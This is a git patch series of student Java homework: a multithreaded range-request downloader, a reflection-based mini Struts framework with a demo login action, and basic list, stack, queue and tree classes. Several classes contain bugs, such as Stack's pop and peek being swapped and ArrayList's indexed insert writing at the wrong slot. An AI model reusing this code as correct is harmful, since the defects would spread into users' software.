+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class DownloadThreadTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@Test
+	public void testRun() throws ConnectionException, IOException {
+		ConnectionManager cm = new ConnectionManagerImpl();
+		String url = "http://localhost:8080/TimeCapsule/readme.txt";
+		Connection conn = cm.open(url);
+		DownloadThread dt = new DownloadThread(conn, 0, conn.getContentLength());
+		dt.start();
+		
+		File file = new File("e://readme.txt");
+		FileInputStream in  = new FileInputStream(file);
+		byte[] b = new byte[10];
+		int len = 0;
+		ArrayList<byte[]> a = new ArrayList<byte[]>();
+		while((len=in.read(b))>0){
+			a.add(b);
+		}
+
+		int length = conn.getContentLength();
+		if(length%3==0){
+			for(int i=1;i<=3;i++){
+				int startPos = length/3*i-1;
+				int endPos = length/3*(i-1);
+				new DownloadThread(conn, endPos, startPos).start();
+			}
+		}else{
+			for(int i=1;i<=2;i++){
+				
+				int startPos = length/3*(i-1);
+				int endPos = length/3*i-1;
+				new DownloadThread(conn, startPos, endPos).start();
+			}
+			int startPos = length/3*2;
+			new DownloadThread(conn, startPos, length).start();
+		}
+		
+		file = new File("e://readme.txt");
+		in  = new FileInputStream(file);
+		b = new byte[10];
+		len = 0;
+		ArrayList<byte[]> a1 = new ArrayList<byte[]>();
+		while((len=in.read(b))>0){
+			a1.add(b);
+		}
+		for(int i = 0;i<a.size()||i<a1.size();i++){
+			Assert.assertArrayEquals(a.get(i), a1.get(i));
+		}
+		
+	}
+
+}

From 9335d71db84bf7c34345f018d743a1dfa8577a3c Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 09:43:48 +0800
Subject: [PATCH 016/262] =?UTF-8?q?=E9=87=8D=E6=9E=84=E6=95=B0=E6=8D=AE?=
 =?UTF-8?q?=E7=BB=93=E6=9E=84=E9=A1=B9=E7=9B=AE?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

重构数据结构项目
---
 .../coderising/download/DownloadThread.java   |  31 ++
 .../coderising/download/FileDownloader.java   | 104 +++++
 .../download/FileDownloaderTest.java          |  59 +++
 .../coderising/download/api/Connection.java   |  26 ++
 .../download/api/ConnectionException.java     |   5 +
 .../download/api/ConnectionManager.java       |  10 +
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  62 +++
 .../download/impl/ConnectionManagerImpl.java  |  26 ++
 .../coderising/litestruts/LoginAction.java    |  39 ++
 .../src/com/coderising/litestruts/Struts.java | 181 ++++++++
 .../com/coderising/litestruts/StrutsTest.java |  43 ++
 .../src/com/coderising/litestruts/View.java   |  23 +
 .../src/com/coding/basic/BinaryTreeNode.java  |  97 +++++
 .../src/com/coding/basic/Iterator.java        |   8 +
 .../src/com/coding/basic/List.java            |  13 +
 .../src/com/coding/basic/Queue.java           |  24 ++
 .../src/com/coding/basic/Stack.java           |  37 ++
 .../src/com/coding/basic/array/ArrayList.java |  83 ++++
 .../src/com/coding/basic/array/ArrayUtil.java | 210 +++++++++
 .../com/coding/basic/linklist/LinkedList.java | 402 ++++++++++++++++++
 21 files changed, 1488 insertions(+)
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
 create mode 100644 group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/List.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/Queue.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/Stack.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java

diff --git a/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
new file mode 100644
index 0000000000..8cf0ae1e42
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/DownloadThread.java
@@ -0,0 +1,31 @@
+package com.coderising.download;
+
+import java.io.IOException;
+import java.io.RandomAccessFile;
+
+import com.coderising.download.api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+
+	public DownloadThread( Connection conn, int startPos, int endPos){
+		
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+	}
+	public void run(){	
+		try {
+			byte[] bytes = conn.read(startPos, endPos);
+			RandomAccessFile file = new RandomAccessFile("/Users/jie/Desktop/test.png", "rw");
+			file.seek(startPos);
+			file.write(bytes);
+			file.close();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
new file mode 100644
index 0000000000..1fe4ebb159
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloader.java
@@ -0,0 +1,104 @@
+package com.coderising.download;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+
+
+public class FileDownloader {
+	
+	String url;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+	Thread[] threads = new Thread[3];
+	
+
+	public FileDownloader(String _url) {
+		this.url = _url;
+		
+	}
+	
+	public void execute(){
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		Connection conn = null;
+		try {
+			
+			conn = cm.open(this.url);
+			
+			int length = conn.getContentLength();
+			
+			int size = length / 3;
+			int remain = length - size;
+			
+			for(int i=0;i<3;i++){
+				conn = cm.open(this.url);
+				int startPos = i*size;
+				int endPos = (i+1) * size - 1;
+				if(i == 2){
+					endPos = (i+1) * size - 1 + remain;
+				}
+				threads[i] = new DownloadThread(conn,startPos,endPos);
+				threads[i].start();
+			}
+
+			new Thread(new Runnable(){
+				public void run(){
+					boolean finish;
+					do{
+						finish = true;
+						for(int i=0;i<threads.length;i++){
+//							System.out.println("线程" + i + "状态:" + threads[i].getState());
+							if(!"TERMINATED".equals(threads[i].getState().toString())){
+								finish = false;
+								continue;
+							}
+						}
+					}while(!finish);
+					getListener().notifyFinished();
+				}
+			}).start();;
+			
+		} catch (ConnectionException e) {			
+			e.printStackTrace();
+		}finally{
+			if(conn != null){
+				conn.close();
+			}
+		}
+		
+		
+		
+		
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
new file mode 100644
index 0000000000..128a302664
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/FileDownloaderTest.java
@@ -0,0 +1,59 @@
+package com.coderising.download;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.download.api.ConnectionManager;
+import com.coderising.download.api.DownloadListener;
+import com.coderising.download.impl.ConnectionManagerImpl;
+
+public class FileDownloaderTest {
+	boolean downloadFinished = false;
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testDownload() {
+		
+		String url = "http://pic6.huitu.com/res/20130116/84481_20130116142820494200_1.jpg";
+		
+		FileDownloader downloader = new FileDownloader(url);
+
+	
+		ConnectionManager cm = new ConnectionManagerImpl();
+		downloader.setConnectionManager(cm);
+		
+		downloader.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				downloadFinished = true;
+			}
+
+		});
+
+		
+		downloader.execute();
+		
+		// 等待多线程下载程序执行完毕
+		while (!downloadFinished) {
+			try {
+				System.out.println("还没有下载完成，休眠五秒");
+				//休眠5秒
+				Thread.sleep(5000);
+			} catch (InterruptedException e) {				
+				e.printStackTrace();
+			}
+		}
+		System.out.println("下载完成！");
+		
+		
+
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java b/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..15534af093
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
@@ -0,0 +1,26 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+	
+	public void setConnection(HttpURLConnection conn);
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..1551a80b3d
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception {
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..ce045393b1
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..e7a8b1ef1e
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,62 @@
+package com.coderising.download.impl;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+
+import com.coderising.download.api.Connection;
+
+public class ConnectionImpl implements Connection{
+	
+	private HttpURLConnection conn;
+	
+	private InputStream inputStream;
+	
+	private ByteArrayOutputStream outputStream;
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		byte[] bytes = new byte[1024];
+		conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		inputStream = conn.getInputStream();
+		outputStream = new ByteArrayOutputStream();
+		int n = 0;
+		while((n = inputStream.read(bytes)) != -1){
+			outputStream.write(bytes, 0, n);
+		}
+		return outputStream.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return conn.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		conn.disconnect();
+		if(inputStream != null){
+			try {
+				inputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+		if(outputStream != null){
+			try {
+				outputStream.close();
+			} catch (IOException e) {
+				e.printStackTrace();
+			}
+		}
+	}
+
+	public HttpURLConnection getConnection() {
+		return conn;
+	}
+
+	public void setConnection(HttpURLConnection conn) {
+		this.conn = conn;
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..9d9c2af144
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,26 @@
+package com.coderising.download.impl;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		Connection connection = new ConnectionImpl();
+		try {
+			URL u = new URL(url);
+			HttpURLConnection conn = (HttpURLConnection)u.openConnection();
+			connection.setConnection(conn);
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return connection;
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
new file mode 100644
index 0000000000..dcdbe226ed
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
@@ -0,0 +1,39 @@
+package com.coderising.litestruts;
+
+/**
+ * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
+ * @author liuxin
+ *
+ */
+public class LoginAction{
+    private String name ;
+    private String password;
+    private String message;
+
+    public String getName() {
+        return name;
+    }
+
+    public String getPassword() {
+        return password;
+    }
+
+    public String execute(){
+            if("test".equals(name) && "1234".equals(password)){
+                this.message = "login successful";
+                return "success";
+            }
+            this.message = "login failed,please check your user/pwd";
+            return "fail";
+    }
+
+    public void setName(String name){
+        this.name = name;
+    }
+    public void setPassword(String password){
+        this.password = password;
+    }
+    public String getMessage(){
+        return this.message;
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
new file mode 100644
index 0000000000..7757668834
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
@@ -0,0 +1,181 @@
+package com.coderising.litestruts;
+
+import java.io.File;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+public class Struts {
+	
+	private final static Map<String, Action> actions = new HashMap<String, Action>();
+	
+    @SuppressWarnings("rawtypes")
+	public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
+
+        /*
+         
+		0. 读取配置文件struts.xml
+ 		
+ 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
+		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
+		("name"="test" ,  "password"="1234") ,     	
+		那就应该调用 setName和setPassword方法
+		
+		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+		
+		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
+		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
+		放到View对象的parameters
+		
+		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
+		放到View对象的jsp字段中。
+        
+        */
+    	//读取xml，把xml信息放到actions
+    	readStrutsXML();
+    	
+    	Action action = actions.get(actionName);
+    	View view = new View();
+    	if(action != null){
+			Class clazz = Class.forName(action.getClassName());
+    		Object obj = clazz.newInstance();
+    		
+    		//根据parameters调用set方法
+    		initClass(clazz, obj, action, parameters);
+    		
+    		//调用execute方法
+    		String result = execute(clazz, obj);
+    		//调用所有get方法
+    		Map resultParameters = getResultParameters(clazz, obj);
+    		
+    		view.setJsp(action.getResults().get(result));
+    		view.setParameters(resultParameters);
+    	}
+    
+    	return view;
+    }
+
+	@SuppressWarnings("rawtypes")
+	private static Map getResultParameters(Class clazz, Object obj) throws Exception {
+		Map<String, String> resultParameters = new HashMap<String, String>();
+		Method[] methods = clazz.getMethods();
+		String methodName;
+		String propName;
+		String propValue;
+		for(Method method : methods){
+			methodName = method.getName();
+			if(methodName.startsWith("get") && !"getClass".equals(methodName)){
+				propName = firstLetterLowerCase(methodName.substring(3, methodName.length()));
+				propValue = (String) method.invoke(obj);
+				resultParameters.put(propName, propValue);
+			}
+		}
+		return resultParameters;
+	}
+
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	private static String execute(Class clazz, Object obj) throws Exception{
+		Method method = clazz.getMethod("execute");
+		return (String)method.invoke(obj);
+	}
+
+	@SuppressWarnings({ "unchecked", "rawtypes" })
+	private static void initClass(Class clazz, Object obj, Action action, Map<String, String> parameters) throws Exception {
+		String setMethodName;
+		Method method = null;
+		for (String parameter : parameters.keySet()) {
+			setMethodName = "set" + firstLetterUpperCase(parameter);
+			method = clazz.getMethod(setMethodName, String.class);
+			method.invoke(obj, parameters.get(parameter));
+		}
+	}
+	
+	private static String firstLetterLowerCase(String string){
+		char[] cs = string.toCharArray();
+		cs[0] += 32;
+		return String.valueOf(cs);
+	}
+	
+	private static String firstLetterUpperCase(String string){
+		char[] cs = string.toCharArray();
+		cs[0] -= 32;
+		return String.valueOf(cs);
+	}
+
+	@SuppressWarnings("unchecked")
+	private static void readStrutsXML() {
+		SAXReader saxReader = new SAXReader();
+		Document document;
+		try {
+			document = saxReader.read(new File("src/com/coderising/litestruts/struts.xml"));
+		} catch (DocumentException e) {
+			System.out.println("error:file not found");
+			return ;
+		}
+		Element root = document.getRootElement();
+		Iterator<Element> actionItr = root.elementIterator();
+		Element action;
+		Action act;
+		Iterator<Element> resultItr;
+		Element result;
+		Map<String, String> results;
+		while(actionItr.hasNext()){
+			action = actionItr.next();
+			
+			resultItr = action.elementIterator();
+			results = new HashMap<String, String>();
+			while(resultItr.hasNext()){
+				result = resultItr.next();
+				results.put(result.attributeValue("name"), result.getStringValue());
+			}
+			
+			act = new Action();
+			act.setName(action.attributeValue("name"));
+			act.setClassName(action.attributeValue("class"));
+			act.setResults(results);
+			
+			actions.put(act.getName(), act);
+		}
+	}    
+	
+	static class Action {
+		
+		private String name;
+		
+		private String className;
+		
+		private Map<String, String> results = new HashMap<>();
+		
+		public Map<String, String> getResults() {
+			return results;
+		}
+
+		public void setResults(Map<String, String> results) {
+			this.results = results;
+		}
+
+		public String getName() {
+			return name;
+		}
+
+		public void setName(String name) {
+			this.name = name;
+		}
+
+		public String getClassName() {
+			return className;
+		}
+
+		public void setClassName(String className) {
+			this.className = className;
+		}
+
+	}
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
new file mode 100644
index 0000000000..92a6758a69
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
@@ -0,0 +1,43 @@
+package com.coderising.litestruts;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+
+
+
+
+public class StrutsTest {
+
+	@Test
+	public void testLoginActionSuccess() throws Exception {
+		
+		String actionName = "login";
+        
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","1234");
+        
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
+        Assert.assertEquals("login successful", view.getParameters().get("message"));
+	}
+
+	@Test
+	public void testLoginActionFailed() throws Exception {
+		String actionName = "login";
+		Map<String,String> params = new HashMap<String,String>();
+        params.put("name","test");
+        params.put("password","123456"); //密码和预设的不一致
+        
+        View view  = Struts.runAction(actionName,params);        
+        
+        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
+        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
new file mode 100644
index 0000000000..07df2a5dab
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
@@ -0,0 +1,23 @@
+package com.coderising.litestruts;
+
+import java.util.Map;
+
+public class View {
+	private String jsp;
+	private Map parameters;
+	
+	public String getJsp() {
+		return jsp;
+	}
+	public View setJsp(String jsp) {
+		this.jsp = jsp;
+		return this;
+	}
+	public Map getParameters() {
+		return parameters;
+	}
+	public View setParameters(Map parameters) {
+		this.parameters = parameters;
+		return this;
+	}
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java b/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
new file mode 100644
index 0000000000..dced34e873
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
@@ -0,0 +1,97 @@
+package com.coding.basic;
+
+public class BinaryTreeNode {
+
+    private Object data;
+    private BinaryTreeNode left;
+    private BinaryTreeNode right;
+    private BinaryTreeNode parent;
+
+    public BinaryTreeNode(Object data) {
+        this.data = data;
+    }
+
+    public Object getData() {
+        return data;
+    }
+
+    public void setData(Object data) {
+        this.data = data;
+    }
+
+    public BinaryTreeNode getLeft() {
+        return left;
+    }
+
+    public void setLeft(BinaryTreeNode left) {
+        this.left = left;
+    }
+
+    public BinaryTreeNode getRight() {
+        return right;
+    }
+
+    public void setRight(BinaryTreeNode right) {
+        this.right = right;
+    }
+
+    public void setParent(BinaryTreeNode parent) {
+        this.parent = parent;
+    }
+
+    public BinaryTreeNode getParent() {
+        return parent;
+    }
+
+    public BinaryTreeNode insert(Object o) {
+        BinaryTreeNode newNode = new BinaryTreeNode(o);
+        BinaryTreeNode root = findRoot(this);
+        if (root.data == null) {
+            root.data = newNode;
+        } else {
+            int newVal = getNodeIntVal(newNode);
+            insert(root, newNode, newVal);
+        }
+        return newNode;
+    }
+
+    private void insert(BinaryTreeNode node, BinaryTreeNode newNode, int newVal) {
+        int nodeVal = getNodeIntVal(node);
+        if (newVal < nodeVal) {
+            if (node.left == null) {
+                newNode.parent = node;
+                node.left = newNode;
+            } else {
+                insert(node.left, newNode, newVal);
+            }
+        } else {
+            if (node.right == null) {
+                newNode.parent = node;
+                node.right = newNode;
+            } else {
+                insert(node.right, newNode, newVal);
+            }
+        }
+    }
+
+    private BinaryTreeNode findRoot(BinaryTreeNode binaryTreeNode) {
+        while (binaryTreeNode.parent != null) {
+            binaryTreeNode = binaryTreeNode.parent;
+        }
+        return binaryTreeNode;
+    }
+
+    private int getNodeIntVal(BinaryTreeNode node) {
+        if (node.data instanceof Integer) {
+            return ((Integer) node.data).intValue();
+        }
+        return 0;
+    }
+
+    public int getDataIntVal() {
+        if (data instanceof Integer) {
+            return ((Integer) data).intValue();
+        }
+        return 0;
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java b/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
new file mode 100644
index 0000000000..96adcd6d3a
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
@@ -0,0 +1,8 @@
+package com.coding.basic;
+
+public interface Iterator {
+    public boolean hasNext();
+
+    public Object next();
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/List.java b/group23/1028361767/data-structure/src/com/coding/basic/List.java
new file mode 100644
index 0000000000..01398944e6
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/List.java
@@ -0,0 +1,13 @@
+package com.coding.basic;
+
+public interface List {
+    public void add(Object o);
+
+    public void add(int index, Object o);
+
+    public Object get(int index);
+
+    public Object remove(int index);
+
+    public int size();
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
new file mode 100644
index 0000000000..ddd1b74d90
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
@@ -0,0 +1,24 @@
+package com.coding.basic;
+
+import com.coding.basic.linklist.LinkedList;
+
+public class Queue {
+
+    private LinkedList linkedList = new LinkedList();
+
+    public void enQueue(Object o) {
+        linkedList.add(o);
+    }
+
+    public Object deQueue() {
+        return linkedList.removeFirst();
+    }
+
+    public boolean isEmpty() {
+        return linkedList.size() == 0;
+    }
+
+    public int size() {
+        return linkedList.size();
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Stack.java b/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
new file mode 100644
index 0000000000..a98f5d76a5
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
@@ -0,0 +1,37 @@
+package com.coding.basic;
+
+import java.util.EmptyStackException;
+
+import com.coding.basic.array.ArrayList;
+
+public class Stack {
+    private ArrayList elementData = new ArrayList();
+
+    public void push(Object o) {
+        elementData.add(o);
+    }
+
+    public Object pop() {
+        checkBound();
+        return elementData.get(size() - 1);
+    }
+
+    public Object peek() {
+        checkBound();
+        return elementData.remove(size() - 1);
+    }
+
+    public boolean isEmpty() {
+        return size() == 0;
+    }
+
+    public int size() {
+        return elementData.size();
+    }
+
+    private void checkBound() {
+        if (isEmpty()) {
+            throw new EmptyStackException();
+        }
+    }
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
new file mode 100644
index 0000000000..43bdae82fa
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
@@ -0,0 +1,83 @@
+package com.coding.basic.array;
+
+import java.util.Arrays;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class ArrayList implements List {
+
+    private int size = 0;
+
+    private int HALF_MAX_VALUE = Integer.MAX_VALUE;
+
+    private Object[] elementData = new Object[100];
+
+    public void add(Object o) {
+        if (noSpace()) {
+            elementData = grow();
+        }
+        elementData[size++] = o;
+    }
+
+    public void add(int index, Object o) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > size) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        if (noSpace()) {
+            elementData = grow();
+        }
+        System.arraycopy(elementData, index, elementData, index + 1, size - index);
+        elementData[size++] = o;
+    }
+
+    public Object get(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > (size - 1)) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        return elementData[index];
+    }
+
+    public Object remove(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException("index must be positive integer");
+        }
+        if (index > (size - 1)) {
+            throw new IndexOutOfBoundsException("size is" + size);
+        }
+        Object obj = elementData[index];
+        System.arraycopy(elementData, index + 1, elementData, index, size - index);
+        elementData[size-1] = null;
+        size--;
+        return obj;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public Iterator iterator() {
+        return null;
+    }
+
+    private boolean noSpace() {
+        return size == elementData.length;
+    }
+
+    private Object[] grow() {
+        int newSize;
+        if (size < HALF_MAX_VALUE) {
+            newSize = size * 2;
+        } else {
+            newSize = Integer.MAX_VALUE;
+        }
+        return Arrays.copyOf(elementData, newSize);
+    }
+
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
new file mode 100644
index 0000000000..8e1b170dc0
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
@@ -0,0 +1,210 @@
+package com.coding.basic.array;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
